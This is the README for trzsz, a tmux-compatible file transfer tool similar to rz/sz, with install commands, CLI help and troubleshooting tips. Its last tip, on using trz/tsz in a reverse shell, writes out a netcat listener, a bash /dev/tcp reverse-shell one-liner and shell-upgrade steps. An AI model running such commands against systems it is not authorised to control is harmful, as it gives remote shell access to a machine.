trzsz ( trz / tsz ) is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.

1. Install trzsz ( trz / tsz ) on the server. go, py and js versions are compatible with each other.

2. Use supported terminal on local. Use trzsz-ssh ( tssh ) on local shell, or refer to Supported Terminals below.

3. Use the trz ( similar to rz ) to upload files, and use the tsz ( similar to sz ) to download files.

• Considering laptop -> hostA -> hostB -> docker -> tmux, using scp or sftp is inconvenience.

• In this case, lrzsz ( rz / sz ) is convenient to use, but unfortunately it's not compatible with tmux.

• tmux is not going to support rz / sz ( 906, 1439 ), so trzsz ( trz / tsz ) was developed.

• Support tmux, including tmux normal mode, and tmux command mode integrated with iTerm2.
• Support transfer directories, trz -d to upload directories, tsz -d xxx to download xxx directories.
• Support breakpoint resume, trz -y or tsz -y xxx overwrite exiting files will auto resume from breakpoint.
• Support Windows server, not only can run on Windows client, but also can run on Windows ssh server.
• Support native terminal, does not require terminal to support, just use trzsz ssh x.x.x.x to login.
• Support web terminal, transfer files and directories between local and remote servers over the web.
• Support drag to upload, drag and drop files and directories to the terminal to upload to the remote server.
• Support progress bar, shows the current transferring file name, progress, size, speed, remaining time, etc.
• Better interactive experience, shows the transfer results or errors friendly, ctrl + c to stop gracefully.

• Install the Go version ( ⭐ Recommended )

  Please check the Go version installation guide: https://trzsz.github.io/go

• Or install with Python3

  sudo python3 -m pip install --upgrade trzsz
  

• Or install with Python2

  sudo python2 -m pip install --upgrade trzsz
  

• Or install with Homebrew

  brew update
  brew install trzsz
  

• Or install with Node.js

  sudo npm install -g trzsz
  

  Can be installed without sudo, just add the installation path ( e.g. ~/.local/bin ) to the PATH environment.

• trzsz-ssh ( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).

• iTerm2 -- check the trzsz-iterm2 installation.

• tabby -- install the tabby-trzsz plugin.

• electerm -- upgrade to 1.19.0 or higher.

• ttyd -- upgrade to 1.7.3 or higher, and start with -t enableTrzsz=true, use https unless localhost.

• trzsz-go -- supports all terminals that support a local shell.

• trzsz.js -- making webshell in browser and electron terminal supports trzsz.

  Does your terminal supports trzsz as well? Please let me know. I would love to have it on the list.

usage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

usage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

• If tmux is running on the local computer.

  • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
  • Option 2: Install trzsz-go on the local computer, use trzsz ssh to login after tmux.
  • Option 3: Install trzsz-ssh on the local computer, use tssh to login after tmux.

• If tmux is running on the jump server.

  • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
  • Option 2: Install trzsz-go on the jump server, use trzsz -r ssh to login after tmux.
  • Option 3: Install trzsz-ssh on the jump server, use tssh to login after tmux.

• If an error occurs, and trzsz is hanging up.

  • Press control + c to stop trz or tsz process on the server.
  • For iTerm2 users, press command + option + shift + r to stop iTerm2 Coprocesses.

• If trz -b binary upload fails, and login to server using telnet or docker exec.

  • Try to escape all known control characters, e.g., trz -eb.

• If trz -b or tsz -b binary transfer fails, and login to server using expect.

  • Try to export LC_CTYPE=C before the expect script. e.g.:

    #!/bin/sh
    export LC_CTYPE=C
    expect -c '
      spawn ssh xxx
      expect "xxx: "
      send "xxx\n"
      interact
    '
    

• If you want to upload and download using trz / tsz in a reverse shell, you need to follow these steps:

  • 1. Use tssh xxx or trzsz ssh xxx to log in to the server.
  • 2. Execute nc -lnv 1337 on the server, and wait for the reverse shell connection.
  • 3. Reverse connect to the server on the target, such as bash -i >& /dev/tcp/192.168.0.1/1337 0>&1.
  • 4. Follow these steps in the reverse shell:
    • 4.1. Convert to an interactive shell, such as python3 -c 'import pty; pty.spawn("/bin/bash")'.
    • 4.2. Press ctrl + z to turn the reverse shell into background.
    • 4.3. Execute stty raw -echo; fg to disable the echo of the server, and return to the reverse shell.
    • 4.4. Press the Enter key, and the command line prompt will be displayed.
    • 4.5. Set the terminal environment variable export TERM=xterm-256color ( not necessary ).
    • 4.6. Check if there is a TMUX environment variable, clear it with unset TMUX.
    • 4.7. Now you can use trz / tsz to upload and download as normal.
  • 5. After exiting the interactive shell, there will be no echo, type exit blindly to exit the reverse shell.
  • 6. Type reset blindly on the server and press Enter to reset the default settings of the terminal.
